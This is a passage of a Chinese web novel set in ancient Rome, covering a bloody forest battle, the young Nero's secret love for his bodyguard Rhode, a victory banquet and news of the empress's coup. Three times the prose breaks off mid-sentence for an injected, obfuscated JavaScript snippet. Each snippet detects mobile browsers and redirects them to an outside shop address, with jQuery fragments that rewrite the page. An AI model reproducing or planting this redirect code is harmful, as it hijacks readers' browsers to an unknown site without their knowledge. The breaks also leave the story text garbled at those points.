罗德屡中刀伤,刚愈合的伤口有撕裂的疼痛。必须尽快结束战斗的他,以小盾钩住高处的枝杈,通过借力而引体向上,以铁锋般绷直的双腿将莱族人从树上飞踹下去。
莱族人象缩成球的潮虫一样在地上打个滚。他蹲定在地,端起别在腰间的十|字弩,在罗德落回枝干的瞬间,箭无虚发地一把射中他的脚踝。
罗德闷哼一声,腿脚顿时失力,如黑丝缕般从树上坠落而下。
莱族人乘胜追击,以十|字弩瞄准他的脖颈。
这时尼禄从天而降,冰冷的长剑从莱族人的头顶没入,直直扎进他的脊椎。
莱族人双目圆睁,眼珠左右晃荡着,一脸的难以置信。
尼禄脸色如恶鬼般阴鸷,剑从他的胸前划出,将他活生生地开膛破肚。五脏六腑象活跳的蛇群一样血淋淋地拱出来。
罗德拨出脚踝上的箭头,撕掉一条布带勒紧血管止血。
他的一只皮手套在搏斗时飞了出去,冰白的手掌在暗夜里轻动。
他仰起脸,激烈的作战使他气息微乱,绚丽的黑眼眸还含有一点杀意未竟的余韵。
“来得正好!”他轻松地笑道。
尼禄的脸庞溅满血浆,如啃食人肉般可怖。饱蘸鲜血的长剑倚在他腿侧,从剑尖滴落的血珠流进他的脚背。
他遗憾地说:“还是有些晚了……”
一个莱族人突然幽闪出来,从背后袭击分神之中的尼禄。
寒亮的砍刀劈中他的肩胛,一道暗红的血光从破损的锁子甲迸出。
罗德薅出一支箭,迅速搭弓拉弦,一下就射穿莱族人的脖子。箭羽扫过尼禄的耳垂,有火燎般的触感。
莱族人嘴里汩汩冒血,脖子突现一只血窟窿。他下意识摸一把脖子,盯着满是血红的手掌倒地而亡。
“这里可不是允许愣神的地方!”罗德缩紧眉头说。他端秀的眉目
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239644|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
在黑暗中都无比明晰。
尼禄沉默地向他走去。他肩胛的刀伤并不浅,向外潺潺流血。
他看到罗德身上崭新的刀伤,枯叶色的棕眼瞳里流动着胶黏的凶意,踩出一串形状纤细的血脚印。
周遭有火石坠落,砸起飞扬的泥土。士兵厮杀的声音不绝于耳。
“莱族人是从山涧涌上来的。”尼禄靠近他说,声音在兵戈交击的碰撞声中显得微弱。
他警然地环视四周,“我们占据山坡的优势,已经控制了局面……”
罗德不顾脚伤站起身。他的眼眸彻亮,有一丝藐视一切的傲意。他那可谓明艳的眉眼,与其说是在释放凶险,不如说正是因凶险而把美发挥到极限。
他战意十足地说:“那就赶在他们撤退之前,让我再多杀几个人!”
尼禄神情复杂。他什么也没说,只是捡起掉落一旁的皮手套,安静地替罗德重新戴好……
面对城墙一般严防死守的罗马军团,人数偏少的莱族人不敢再贸然伏击。
本欲偷袭的他们反而伤亡惨重,很快就撤兵回到了对面的山坡。
尼禄用兵十分谨慎。他尚不清楚河对岸的情况,没有渡河去追击。
双方对峙一时陷入僵局。
医生将曼得拉草、天仙子和罂粟混合调制成麻醉剂,为罗德的脚踝做了简单的手术。
十|字弩的箭小而轻,罗德的脚伤因此没有伤及骨骼;而尼禄的肩伤,距离掌握命脉的脊椎只不过毫厘之差,伤势更重一些。
尼禄趴躺在床上,卷曲的银发沾一点鲜血,血迹斑驳的绷带缠住受伤的肩胛。
他的脸庞残留干涸的血迹,细碎的额发被血黏住眼帘,有一种类似鬼怪的、幽怖的气质。
罗德刚刚包扎好脚踝,胳膊撑在身侧,悠然地坐在尼禄床边。
如今他们两人都挂了彩。
“明天雷珂就会与我会合。”尼禄出声道。
罗德慢悠悠地晃着腿,姿势十分随意,“军团每时每刻都在耗费粮草。早点结束这场地势不利的森林战,对我们来说是好事。”
尼禄眯合着眼,从两层浓密的睫毛之间偷瞄他。
他沉思一会,狡猾地匍匐过去,原本掩盖在毛毯之下的肩伤毕现。
罗德被突如其来的动静所惊,本能性地缩起手。
在瞥到尼禄嵌入鲜血的纯净双眼时,他的手僵持一刹那,最终按在那毛绒绒的脑袋上。
尼禄状若无事地说:“医生告诉我,我差一点就成了残废……”
罗德骤然想到尼禄在前世扭曲的身材。他出了神,黑眸闪出轻微的幽光,宛如锋刃的手掌慢慢下移,无意识地抚过尼禄笔直的脖颈和脊梁。
他的手所到之处引起灼热。尼禄发育正旺的身躯明显紧绷,那双通透的蜜色眼睛里,翻滚过粘稠的、激荡的欲望。
“好好养伤。”罗德收回手,“我可不想见到您弯腰驼背的样子……”
话落,他站起身,坚毅的双脚迈出一步,紧缚的绑带顿时渗出鲜血。
尼禄的手宛如触手般绑缠他的腕部,细碎的银发掩住双眼。他光裸的肩背隆起,还留有少年的清瘦。
他是生长在不幸家庭的缺爱之人,对于爱与温暖永远都索取不够。
“别走……罗德。”他嗓音低哑,“医生说……我时时刻刻都需要照顾……”
罗德盯着他微微颤动的银发,沉默地抽回了手。
尼禄不安分起来,抖动的眼睑有一点茫然,“罗德……”他的口吻惊慌而严峻。
“我去拿被子。”罗德背对着他说,“一会就回来。”
28. 卑微的暗恋
这是尼禄第一次与罗德同床而眠。尽管两人躺在各自的被窝里。
罗德仰躺着,犀利的眼睛半阖,眼缝间透射一道疲惫的冷光。
微弱的烛光从侧面照来,将他的黑眼珠照成半剔透的浅色。他的黑眸看起来深不可测,其实一点烛光就能照透。
持续多天的行军作战,使罗德相当疲劳。
尼禄还很有精神。他扯过羊皮地图,指了指上面的地形说:“我的侦察兵给我送口信,说莱族人缺乏粮草,已经把树皮铲进面粉里充数了。”
罗德闭着眼,明丽的红唇被烛光照得鲜烈。他光滑的唇瓣鲜少有唇纹,因劳累而略沙哑的声音溢出:“他们弹尽粮绝,比我们更想尽快结束战争……”
尼禄冰澈的眼眸移过地图,思索着说:“雷珂虽然输了,但也给莱族造成不小损伤。据说他抢走了莱族人很多箱辎重。”
“不能否认,他是个有本事的将领……”罗德愈发困倦,说话的尾音不断拖长,“……输了战役不过是因为不熟悉地形而已……”
他的呼吸逐渐沉缓,神思游离。他即将遁入睡眠了。
“他总得有些才干……”尼禄说,“不然其他行省的总督怎能甘心听他的指令。”
罗德没有回话。
尼禄侧过脸。罗德那堪称完美的侧颜,就强硬地闯进眼底。
他已然安睡,绸缎般的黑发嵌进枕缝。罗德鼻梁高挺;从视觉上,山根的凹弧恰好抵着远处的烛苗,宛如太阳从山峰间喷薄而出的那一刻。
他的唇角即使在睡觉时也卷翘着,如钩锯一般,使尼禄心感刺痛的同时,产生一种病态的痴迷。
尼禄迷恋地凝视他,试探性地低声问:“罗德……你睡了吗?”
罗德呼吸沉稳,对他的问话全无知觉。
尼禄今晚是睡不着了。
他悄然凑过去,仔细嗅闻罗德的发丝。罗德在入睡前简单地沐浴过,发间残留着一点轻淡的、铁锈味的血气。
年少而羞涩的尼禄连忙撤回来。他用手捂住心口窝,那里正在砰砰直跳。
他又转过脸,着迷地盯着罗德的睡颜。一个纯真的微笑如飞鸟般掠过他的唇角。
少年人最真挚的初恋,使他褪去后天习得的城府和狠毒,显现出人性本有的纯洁;宛如虔诚的教徒独自一人身处圣殿,将最诚挚、最真实的自己进献给他的神明。
尼禄偷摸地伸手,沿着丝质的床单摸进罗德的被窝。在那里,他象恋人一样,紧张地吞咽下口水,偷偷牵住罗德的手。
这一瞬间他心潮涌动。
其实尼禄并不需要什么拥抱亲吻。仅仅是这样类似恋人的牵手,就足以让他感到幸福。
他只是个寂静而卑微的暗恋者,但已经品尝到爱情里的所有甜蜜了。
……
第二天清早,尼禄从床上醒来时,罗德已经在着靴了。
他披一身冷酷的黑甲,将细直的小腿套进铁靴,嗒一声扣紧铁扣。他长长的黑发昨晚刚洗过,此时蓬乱地支翘起来,宛如一片黑瀑布般披散在肩背。
罗德听到身后窸窸窣窣的动静,撇过脸说:“醒了?”
“嗯……”尼禄双眼迷蒙。
罗德套好军靴起身,站姿如柏木一般挺拔。脚踝处的伤似乎与他无关痛痒。
他拨开搭落到前襟的发绺,冲睡眼惺忪的尼禄淡淡一笑:“该去作战了!雷珂正骑着马在外面等您。”
尼禄立即整理着装,很快就与行军而来的雷珂会合。
雷珂多天征战,已经达到体力的极限。他的铠甲破损而脏污,密布血丝的双眼透着疲倦。他整个人都显得无力,只有那道横亘于脸庞的刀疤,还显出一些攻击和刚毅的气息。
他森然地瞟罗德一眼,神情显露一丝不爽,但没有明摆着说出口。
尼禄换上崭新的锁子甲,配着一柄打磨光亮的长剑。他脸色沉毅,嘴唇因重伤失血而泛白,眉眼之间纵横着隐淡的凶戾的神采。
雷珂声色严肃地说:“莱族人已至穷途末路,就象一群蝗虫那样急不可耐!用不了几天,被逼急的他们就不得不打道回府!”
尼禄阴冷的视线穿过层层密林,盯住山脚下潺潺流水的河谷。
他神情沉滞,利刃般的薄唇吐出沉稳的话语:“想办法把那些下贱的蛮夷逼到低洼的河谷,利用山坡优势,我们能将他们一举歼灭!”
他停顿一下,脸上闪现一丝云障般的阴狠:“现在是屠杀莱族的最佳时机……”
雷珂请缨道:“由我带兵绕上那座山,从山顶往下袭击他们,逼迫他们不得不跑进河谷!”
尼禄青涩的脸庞流荡着些许狠绝,“很好。”
他沉思一会,补充道:“那片森林就象中了巫术一样环境恶劣。你可以多带一些兵力过去……”
“不用!”雷珂厉声拒绝。他握起手里的缰绳,冷淡地说:“你太过年轻,没什么征战的经验,比我更需要充足的兵马!”
尼禄眼光幽闪,不说一字。
雷珂以铁靴击打马匹,蹡蹡地带兵而行,激起一大片飞扬的泥石。在幽暗如洞穴的森林里,他巍然的身影如同一块滚动的巨石。
罗德双眼紧锁雷珂宽壮的脊背,“其实他比您更需要兵力!”
尼禄睫毛低垂,斜视雷珂的眼眸透出一股疏离:“可他是个固执己见又喜欢否定别人的家伙……”
“我不了解他有多么难缠,我只知道他在行省中德高望重。”罗德沉定地说,“他的存在能让罗马稳定,他是个不能轻易死掉的人。”
尼禄默然。
……
雷珂行军的速度很快。当天,莱族人驻扎的山坡就出现异动。
因为负伤在身,身体虚弱的尼禄在正午昏睡一小会。
他是被手下的士兵叫醒的。
此时战况已至尖峰。
隔着一道河谷,莱族人象滚落的泥沙一样从林间簌簌而落。对面青绿林立的山坡,有浓厚的烟火如棍杆般立地而生,金黄的火石象蚊蝇一样在半空中飞梭。
两山之间的河谷已出现一小片蚁群般的莱族人。
这些只是整个莱族的一小部分,更多的莱族人还在森林里与雷珂的兵团交战。
短兵相接的铁戈声和流火燃烧的爆裂声震耳欲聋,宛如水灌进耳朵一样产生久久的轰鸣。
尼禄发现罗德不在,心中好象裂开一道深渊一样空虚。
罗马士兵以弩车和投石车朝河谷处投射火石和箭羽。这些武器象密布的钉子一般钉向莱族人。天空一刹那昏暗无比,宛如倒置在天空的海啸。
按照尼禄的指令,士兵们砍伐巨木,将多个投石车并排摆列,一齐投射木桩。极粗重的木桩被弹射到空中,再象天神的重锤般砸上地面,引起一阵令人恐慌的震动。
自天而降的巨木将很多莱族人碾压成一滩血肉模糊的肉泥。蜿蜒于山间的河流被染红,宛如一条被剥皮而蠕动的血蛇。
在另一边的战场,雷珂跌跌撞撞地穿梭于林间,流窜的火石炸裂在他脚边。他崴了脚,倚仗着一把已有豁口的刀,颇显凶恶的脸庞溅满黑漆漆的泥沙。
雷珂深入敌林已有半天时间,难免体力不支。
两个高大的莱族人闪近他的身前。
雷珂歪斜着身体,坚毅地握紧刀柄,额前的刀疤如铁丝一样漫射出灰亮的硬光。
两把斧刃带过一阵冷风劈砍下来。他拖着瘸腿,沉重的身体在泥地里挪出一只深陷的凹圆。他费力地躲过攻击。
雷珂跪倒在地,双膝深陷于湿泥里。他身躯健壮,仿若一只衰老无力的野兽。
这时一只长箭猛射过来,一连射穿两个莱族人的头颅,发出清脆的头骨碎裂声。
莱族人的两颗头被箭串在一起,他们移动颤抖的眼珠,以迷茫的眼神对视一眼,最终一齐倒在地上,强健的体格砸出飞溅的泥浆。
扭转生死的变故使雷珂讶然。他胶着的眼珠缓缓上移,周身于一瞬间猛烈抽搐。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239645|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
罗德站在树间,手里拿着的弓弦还在振动,他凌乱的黑发相当飘逸。
他利落地跳下树,在漫天星火和厮杀声中走过来,向跪在地上的雷珂伸出援手。
……
河谷上尸横遍野,河边堆起压扁的肉泥和碾成齑粉的人骨。血腥味过于浓烈,宛如胶水般黏住鼻腔和肺。有些罗马军人在收尸,见到这些分辨不出部位的肉块,忍不住地剧烈呕吐。
大量的鲜血染红河岸,这里宛如人间地狱。
莱族全军覆没。
裹着银甲的尼禄游走于断肢残垣。他双眼空洞,倒映出满目血色。他无所顾忌地行走,冷汗出得越来越多。他腿脚打晃,铁靴踩在头颅或肉块上,挤出脑浆和鲜血。
他发疯一样地寻找罗德。但凡是浸泡于鲜血中的黑色头发,都能使他移情性地心脏抽痛。
所幸他的罗德没有让他找得太久。
落日西沉,两侧青峰染上橘红的暮色,血河如红绦带般流到尽头。天空象一张泛黄的莎草纸,从颜色最深的天边开始,一点点被大地的鲜血浸透得更红。
这里铺天盖地都是血红色,恐怖之中蕴含一点罪恶性质的绚烂。
一个黑影从远处缓缓走来。这个黑影太英挺,宛如黑鹰翼下最坚硬的一根飞羽。
尼禄僵立。那距离很远,他其实并不能看清这个身影的五官。
但他知道,那绝对是罗德。他就是知道。
罗德将雷珂的手臂搭在肩上,一步步搀扶他回到军营。
雷珂的脸色晦暗不明,一瘸一拐地走着。这一路上,他干裂的嘴唇死死抿合,象黏死一样一字不吐。
罗德将伤势不轻的雷珂交给军医。
尼禄蹦踩着满地血肉,脸庞沾溅飞扬的血迹。他的耳边因为焦急而响起轰鸣。
他越过小山般的尸体堆,一步跨到罗德面前。
尼禄心跳激荡,几乎要破胸而出。罗德的出现使他头晕目眩。他拼命眨着眼睛,希望看清罗德的脸,但只有因为激动而泛起的黑雾。他的情绪被推到浪尖,宛如一艘翻滚于巨浪的小船。
罗德连忙挽住他失力的双肩。
尼禄激动得浑身发抖。他绵软地靠进罗德怀里,深呼吸很多次,发黑的视野逐渐清晰。
“罗德……”他怔神地喊他名字,字眼象碎片一样游离出口。
罗德将下巴抵进他的银发,安抚似的说:“我就在这儿。”
尼禄攥紧他的衣甲,努力使紊乱到不正常的心跳恢复平静。
罗德神色有些担忧。他抬袖擦拭鬓角的汗珠,脸色是健康的红润。他清丽的眉眼之后,便是漫山遍野的血红日落,但这一切都比不上他的红唇明艳。
他极度俊美的五官,挟带背后遮天蔽日的血腥,如洪水猛兽般冲击尼禄的感官。
暗恋之中的尼禄顿生酸涩,如刀锯一样磨损他本就脆弱的心思。
他细长的眉毛蹙紧,干净的眼角染有潮红,幽怨地说:“你为什么总要违抗我的命令……罗德……”
“雷珂现在还不能死。”罗德解释,“他坐拥大部分蛮族的兵力……”
“可我才是你的主人!”尼禄厉声说,“你应该遵从于我!你的一切都属于我!”
罗德平淡地瞧他一眼,没有给出回应。
“你去拯救别人,却抛下同样身负重伤的我……”尼禄的口吻暗含嫉妒,“你忘记了我是主人的这个事实……”
罗德沉默片刻,冲他轻松一笑,忽然捧起他的手。
他倾身低头,有点卷翘的黑发尽数溜到前面,露出一截细直到刚极易折的颈项。这使他始终保有一种凌驾于人的、不羁的意志。
“我没忘。”罗德将双唇凑近他的手背,低沉地说。吐字的气息盘绕在尼禄的皮肤上,十分灼热。
他蜻蜓点水般地,轻吻一下尼禄的手背。
这其实是近卫向主人表示忠心时最常用的吻手礼。
尼禄却觉心如擂鼓……
29. 晚宴上的突变
高卢的叛乱告一段落。
没过几天,克劳狄乌斯就率领军团与雷珂和尼禄会合。
为了庆祝胜利,他们举办祭神宴以感谢神明的护佑。
宴会就在营帐里举行。
将领们斜躺在卧榻上吃饭,他们脱下铠甲高高挂起。野兔肉煎得焦黄,撒有来自东方的丁香粉;厨师杀死一头怀孕的母牛,在卧榻中间搭起木炭架,以香草和肉豆蔻烤制,现做现吃,这种珍贵的肉类是宴会的主菜。奴隶往地上洒马鞭草液,以起到净化空气的作用。
克劳狄乌斯躺在主位。他头戴桂冠,干瘦的手撕下一块兔腿肉,象幼鸟一样小口小口地吃着。
雷珂拄着拐杖,端着一盘以桂皮炖制的蘑菇,一瘸一瘸地走到他旁边。
他行动不便,有些费劲地伸出胳膊,把盘子摆到克劳狄乌斯眼前,引起桌面不小的动静,几颗鹰嘴豆被振动得弹跳一下。
克劳狄乌斯精光的小圆眼瞥到蘑菇,发出一道幽幽如水波荡动的亮光。烤着牛肉的火光映亮他略微贪婪的脸孔。
“这盘蘑菇是从森林里采来的。”雷珂说,“如果我没有记错,它是你最爱的食物。”
克劳狄乌斯用鼻子凑近盘子,小心地嗅闻两下,象一只接近陌生人、机警地闻气味的狗。
他发红的鼻翼扇乎几下,用指头拨弄拨弄炖软的蘑菇,迟迟没有品尝一口。贪生怕死的他对一切可能有损害的东西都抱有戒备。
雷珂的嘴角隐隐抽了抽,“我已经让奴隶试吃过了,没有毒。”
克劳狄乌斯松懈下来,因衰老而松垂的面目挤出一个微笑。他干瘪而枯燥的嘴唇勾翘起来,象两片上了锈的铁片。
他捏起一片蘑菇放进嘴里,眼神因香味而微微迷离。
他边咀嚼边说:“请不要责怪我的戒备,我的表哥。要知道,每天都有罗马人因毒蘑菇而死。这种昂贵又美味的食物,有可能让我付出生命的代价……”
雷珂嗤之以鼻。他胳膊下的拐棍一个旋转,包裹铁靴的腿脚宛如重锤,他歪歪斜斜地向宴会的侧位走过去。
尼禄躺在侧位上,用勺子将蒸熟的板栗碾成泥,淋上一点蜂蜜,舀起一勺吃掉。
炭火架的火光跃在他分明的眉目。他的眉骨高昂而立体,成熟的韵味从那里胀裂,他那张正值青春的面孔,正如熹微晨光的初照一样,已经初显成年人沉毅的意志。
他偷偷别过头去,从细碎而略长的额发之下,去偷瞄站在他身后的罗德。
罗德没有资格加入晚宴。他如沉剑般倚靠在角落,极俊美的五官都隐遁在黑发的阴影里,好象一个来无影去无踪的幽影。
他锐利的眼光轻移,猛地撞进尼禄痴愣的视线,冲他勾起一个浅淡而锋利的微笑。
尼禄心潮澎湃,紧张地转过头去,脸颊涨红的同时产生一种卑微的幸福感。
雷珂步履蹒跚地走过来,壮实的身躯带起一阵风。他直接掠过身份高贵的尼禄,跛着脚来到罗德面前。
罗德抬起眼帘,敏锐的黑眼睛里倒映他刚硬的身影。
雷珂倔强的嘴唇鼓动,前额的刀疤宛如沉锋。
“尽管你是一个低微的近卫,但我不得不亲自来感谢你。”他声色严肃地说,“你救了我的命!”
罗德无谓地笑笑。他抱起双臂,微微扬起的下颌有一丝桀骜而冷酷的意味。
“我只是受主人之托。”他漫不经心地说,“您感激的对象应该是多米提乌斯大人,而不是一个卑下的近卫。”
雷珂瞟一眼头正埋进胳膊里的尼禄,浓重的眉毛皱了皱,神色透出一些怀疑。
懂得察言观色的奴隶迎过来,为雷珂端来两杯飘着柠檬片的葡萄酒。
雷珂递给罗德一杯,罗德抱臂的双手纹丝不动。他的眼眸瞥到鲜美的浆液,瞳仁处的光点宛如冰棱。
“不好意思,我只喝廉价的啤酒。”他说。
雷珂经历风霜的脸上迸发出惊诧。他有些微的愣神,略显浑浊的眼瞳迷离片刻,这一刹那他好象魂魄出走般的游离。
“你和我以前认识的一个人非常像……”他怔怔地说,扭曲的长疤使他多了一些岁月感,“他和你一样,也是皇族的近卫,也长着浓黑的头发……”
罗德眼眸低垂,从锋刃般的眼缝间放出可谓黯淡的黑光。他环抱身体的双手隐约僵硬,颀长而沉寂的身线象一笔落进角落的黑墨。
雷珂迈近一步,铁血的脸庞十分坚毅,宛如饱蘸鲜血的刀斧。
他脸色严峻,声音中暗含着一丝紧迫,如有暗流涌动:“据说他还有一个儿子,算起来你的岁数正好……”
“您所说的都是一些陈事旧人罢了。”罗德沉重地说,“与孤儿出身的我没什么关系。”
雷珂迷惑的话语被锁到唇边,深重的眼袋抽动两下。他认真地说:“我一生奉行两个原则,一是永远不将双手伸向王座,二是永远不欠别人人情。”
罗德撇过脸,微翘的鬓发遮挡去大半眉目。他一直在沉默,他的气质,就是一种拒人于千里之外的气质。
“尽管我讨厌说这种话,但我必须承认……”雷珂的脸色可谓坚如磐石,“我欠你一个关乎性命的人情。”
他扬脖喝光杯子里的葡萄酒,健壮的身体一摇一晃地退去了,留下一串重拐点地的声响。
罗德绷紧的腿脚这才松缓。雷珂对他身份的质疑,使他如临大敌。
他顿了顿,沉缓地抬起头,两侧的鬓发如水纹般晃荡到后面,显露出他沉着如黑礁石的美目。
原本躺在卧榻的尼禄不见了。
罗德当即惊骇。一层冷汗如浮冰般在他前额飘起,他几乎是如劈砍而过的刀光一样,从阴暗的角落里闪身而出。
这时有女奴急忙走过来,递给他一张莎草纸条。
罗德以指尖抚平褶皱。字条上的拉丁文十分工整而圆润:
『我就在营帐外的树下。』
罗德黑着脸,将字条丢进火盆,恃着冷剑来到营帐之外。
银亮的月亮被光秃秃的枝桠分裂成碎镜般的几块儿,被照映成银粒的尘土悬浮,有一种朦胧的质感。
尼禄靠在叶子飘零的树下。他褪下锁子甲的战袍,披着柔软的赭红色斗篷。他那张青春而稍显忧郁的脸庞,此时有一点腼腆的羞红。在银冷的月光和凋敝的街道,他就象一抹格格不入的温暖的色彩。
空气中有战火燃尽的淡淡的苦涩味,一道凄冷的月光照透尼禄的银发。
“你饿了吧……”他小声开口,神态有一些紧张,“我可以请你去街上吃点东西吗?”
罗德紧握剑柄的手于此刻松懈。
于是两人走进高卢坑坑洼洼的街道。
战争结束,饱经痛苦的高卢恢复一点生机。沿街的小店点燃灯罩,暖黄的烛火如萤火虫般浮动,头顶陶罐的妇女拎着面粉回家,商铺开始打烊。此时人声渐稀,夜光宁静,餐铺里冒出饭香的热汽,有一些平凡而娴静的意味。
趁着晚宴的混乱从军营偷跑出
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17239646|197669||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
去,有一种和情人幽会的刺激。
他们身披月光走着,黑影交融,象一对相濡以沫的旅伴。
距离太近,罗德棱角分明的手不经意撞上尼禄的手背。尼禄有不敢说出口的窃喜。
“你想吃什么?”尼禄面带期待地问。他深陷的眼窝悉皆被照亮,金棕的眼瞳如泉水般剔透,原来他的阴鸷也不过是浮于纯洁之外的虚影。
“只要是热的就行。”罗德说。
两人踩过一路碎石和泥土,也不管走去哪里。向来随性的罗德兴之所至,拐进一个位置僻静的巷口,走进一家简陋而冷清的餐铺。
他只要了一碗清淡的麦片粥。
月光从帘缝中溜进,翩跹于罗德的眉眼。他懒得打理头发,黑发长得已及腰背,被他随意地撩到耳后,竟然有类似女子一般阴柔的美丽。
尼禄替他付了钱,安静地坐在对面。
罗德吃东西的样子很干净,跟他挥剑时一样利落。一切从简的他不放什么蜂蜜和药草,无味而朴素的燕麦就足以使他饱腹。
他那裹在皮手套之下的手指十分纤细,此时握住一根乳白的木制调羹,有一种清雅的气质。
微黄的烛光跃动,披在罗德发间。凌厉之人也能有宛如孕珠般的柔美。
尼禄恍然地勾起唇角。
一种平凡的温热从他心尖凭空蹿起,顺着骨骼与皮肉,慢慢浸入他的四肢百骸,再以更热的温度回溯到心尖。那是一种近似于温泉翻涌的情绪。仅仅是看着罗德吃饭,他就能有满溢心间的暖意。
“我真幸福啊……”他感慨一句。
罗德有点惊讶地瞥他一眼,不经心地说:“战争结束了。”
尼禄摸了摸自己的手,脸庞出现天边晨光般的浅红。
“我的手没有原来那么冰了……”他象觉悟一样,喃喃自语道。
罗德丢下勺子,飞快地抓过他皙白的手,包裹在自己可谓热烫的手里。
此时尼禄能感受到心脏在砰砰地撞击胸膛。
罗德松开他,微笑地点头说:“的确比那次在船上要暖一点。”
尼禄红着脸,不敢再说话,罗德顾着吃饭也没再说。
身处互不说话的沉默之中,竟也能有离奇的幸福。
……
两人回到军营时,祭神的晚宴还在进行。女奴怀抱竖琴,弹拨出希腊时代的古典乐曲。
克劳狄乌斯侧卧在塌上,一脸享受地打着节拍,尖瘦的脸冒出两坨酡红。他已经微醺,桂冠歪斜地挂在头顶。叛乱的平息让他如释重负。
忽然,一名士兵慌慌张张地从帐外闯进来。
他急得满脸汗,步伐凌乱得好象行走于滑冰之上。他趔趔趄趄的,甚至撞了刚刚回来的尼禄一下,跪倒在皇帝的脚前,膝盖宛如捶地般撞出声响。
本来欢乐的营帐因为这个不速之客而整肃起来。
罗德护在尼禄身后,警然地绷紧了身体。
克劳狄乌斯将小眼眯开一道线,慵懒地问道:“怎么了?”
士兵擦一把汗说:“皇后假传您已战死,就在昨天跟一名贵族结婚了……现在罗马城边都布满了兵力……”
尼禄呼吸一屏。
克劳狄乌斯象被闪电劈中一样弹跳起来。他因醉意而冒出的酡红如蒸发般瞬间褪去,脸色一下子变得青白。他的驼背高耸着,此时如隐隐发作的地震一样颤抖。
他枯瘦的脸痉挛般地抽一下,“……那我现在还是皇帝吗?”他窝囊地问。
30. 麦瑟琳娜之死
突如其来的政变,使好不容易安定的局面变成一滩翻滚的沸水。
远征高卢的大军刚刚平定与蛮族人的战斗,就要面临另一场更为复杂的内部斗争。
克劳狄乌斯日夜兼程赶回罗马。
在路上的五天里,他一直都象一只畏光的虫子一样,蜷缩在马车昏暗的角落里,乱得打绺的发间挂着一顶歪斜的黄金桂冠。他没有胃口吃东西,残疾的双腿无力地伸着,象得了一场深入骨髓的大病。
帝位受到威胁的他不得不发愁。
麦瑟琳娜与他的势力,可谓是旗鼓相当。而单看位置,皇后已经取得了更大的优势。
尼禄坐在马车里,一手撑着下巴。涌动在车帘之外的流光浅淡地映照过来,他的脸庞飞速掠过几片棉絮般的阴翳。尼禄的手背依然细瘦而白得没什么血色,这让他有负面的、不太健康的气息。
他正襟危坐,阴沉的语气中有一些急迫:“皇后另嫁他人,以这种方式篡权,这真是一个永垂青史的笑话。”
罗德坐在他身边,手肘撑在桌案上,他的骨线即使在晦暗的马车里都刚直到明晰的程度。
尼禄移过视线去望他,阴重的视线在接触到罗德时有消融的迹象。
“她与谁结的婚?”罗德问,“是那个安东尼吗?”
尼禄点头,“他是她最信任的情夫,跟随在她身边已经很久了。”
他神情严迫地说:“这次围在罗马城边的兵力,就是安东尼布置的。他用尽了他军权之下的所有兵马。”
罗德脊梁绷直,持剑的手隐隐发动。
……
抵达罗马城时是在太阳未升的清晨。
克劳狄乌斯心惊胆战地掀开车帘,豆粒般圆溜溜的小眼睛透过帘缝,往外一瞅。
罗马城披挂着墨蓝色的暗衣,初诞的太阳十分惨白,突兀地嵌进夜幕,象一处因为蓝油漆剥落而裸|露出来的石膏底。
皇帝干瘪瘪的五官猛地攒成一团。
万千戎装的军兵已布置于城墙之外。在日蚀般灰暗的天地之中,宛如一条盘缠起来的铁蛇。
克劳狄乌斯强打起精神,以抖得厉害的手指扶正头顶的王冠,踩着奴隶的脊背下了马车。他硬摆出一个还算是威严的表情,唯有抖动的下巴和腮帮泄露出他内心的紧张。驼背而胆小的他就象一个等待审判的罪人。
尼禄掀开门帘,灰黄的眼中有一些机警。他已经做好了战斗的准备。
在漫天黯沉和捕网般的铁骑中,有一个乳白色的身影幽幽地闪出,慢慢走近,好象一块慢慢鼓胀流出的白脓。
那就是布兵围城的安东尼。
安东尼慢悠悠地踱步到皇帝眼前,安然地站定,滑腻得象一股甜腻的蜂蜜。他低垂着头,将一顶油光水滑的金发对准克劳狄乌斯。
丈夫与情夫在此情此景下正面相见。
克劳狄乌斯尖细的嘴角抽搐几下。他的眼睑已生出老年的黑斑,他极不自然地捋了捋镶着金线的紫袍,松弛而略显青白的脸颊颤动着,在油头粉面的安东尼面前显得老态龙钟。
他青紫的嘴唇努了努,“你是来抢夺我的妻子和王冠的……”
头颅低垂的安东尼慢慢仰起脸,象脱去龟壳的乌龟一样露出粉腻的五官。他脊背低伏,湛蓝的眼睛被挤成一条弯缝,嘴角象牵线一样勾翘起来。
就这样,他好象变戏法似的,绽放出一个面具般荒诞的微笑。他整个人都象生活在一个僵硬的木偶里。
他动了动艳红的嘴唇,圆润的嗓音象滑油一样从那里流淌出来:“不。我是来将功赎罪的……”
克劳狄乌斯震惊,僵硬的脸象被搅拌过似的乱颤。
